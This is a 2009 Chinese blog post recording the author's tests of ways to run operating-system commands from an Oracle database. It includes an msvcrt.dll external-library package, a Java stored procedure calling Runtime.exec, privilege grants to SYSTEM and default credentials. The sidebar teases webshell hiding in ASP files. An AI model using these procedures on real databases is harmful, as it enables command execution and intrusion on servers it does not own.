当前位置:首页 > 技术文章 > 正文内容

oracle执行cmd

lcy2009-09-05技术文章2552

oracle执行cmd
装了一个oracle db11g,于是想试一下网上流传的在sqlplus中执行cmd的一些命令,也不知怎么的,没一个好用的,可能是网上转来转去的转错了.不过有一个简单的执行cmd命令方法:

SQL> host net user

User accounts for \\PC-ATQHJ4UG1SDA

----------------------------------------------------------------------------
__vmware_user__          admin                    Administrator
ASPNET                   Guest                    IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA     SUPPORT_388945a0
The command completed successfully.


unix或linux下用

! command

======================补充======================

网上的另两种方法:

1是利用msvcrt.dll

写一个c:\orac.sql

内容:

Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors然后

C:\>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分别是用户名密码和sid)
Connected.
SQL> @c:\orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:\oracle.txt');

结果在我本机出现

第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1

没有成功。

第二种方法

c:\1.sql

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}c:\2.sql

create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';c:\3.sql

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;登陆上去后依旧是依次执行

SQL> @c:\1.sql
/

@c:\2.sql

/

@c:\3.sql

/

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system;(网上的方法没有这一行,我无法成功,加上去可以)

exec :x:=run_cmz('ipconfig'); 成功运行了命令

测试环境win2003+oracle11g
 

 

版权声明:本文由cy's Blog发布,如需转载请注明出处。

本文链接:https://www.c3389.com/post/2.html

返回列表

没有更早的文章了...

下一篇:Dos命令行下压缩&解压文件简单版

相关文章

宝塔控制面板配置zabbix连不上数据库

[root@localhost etc]# tail -f /var/log/zabbix_server.log1267:20130722:195451.493 [Z3001] connection...

常用隐藏SHELL方法

第一种:在我们要做手脚的asp文件里加入如下内容<%if request(”action”)=”ok” then%>shell代码插在这里&...

刷新DNS命令 如何刷新DNS缓存(转)

运行:ipconfig /displaydns这个命令,查看一下本机已经缓存了那些的dns信息的,然后输入下面的命令ipconfig /flushdns这时本机的dns缓存信息已经清空了,我们可以再次...

使用CDN后,获取真实IP 办法

使用CDN后,获取真实IP 办法

 Supesite使用CDN后获取真实IP 办法include/main.inc.php文件,这部分if(getenv('HTTP_CLIENT_IP') && strca...

Cookie欺骗——腾讯拍拍秒杀活动的验证码漏洞

Cookie欺骗——腾讯拍拍秒杀活动的验证码漏洞

首先我想讨论一下验证码这玩意儿。有谁还记得大概几年前突然出现了验证码这东西,许多网站甚至桌面应用程序都陆续实现了验证码技术,主要作用无非就是防止用户利用程序进行自动提交,避免暴力破解,避免服务器遭受恶...

WGET 的用法说明

GNU Wget 1.12,非交互式的网络文件下载工具。用法: wget [选项]... [URL]... 长选项所必须的参数在使用短选项时也是必须的。 开始: ...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。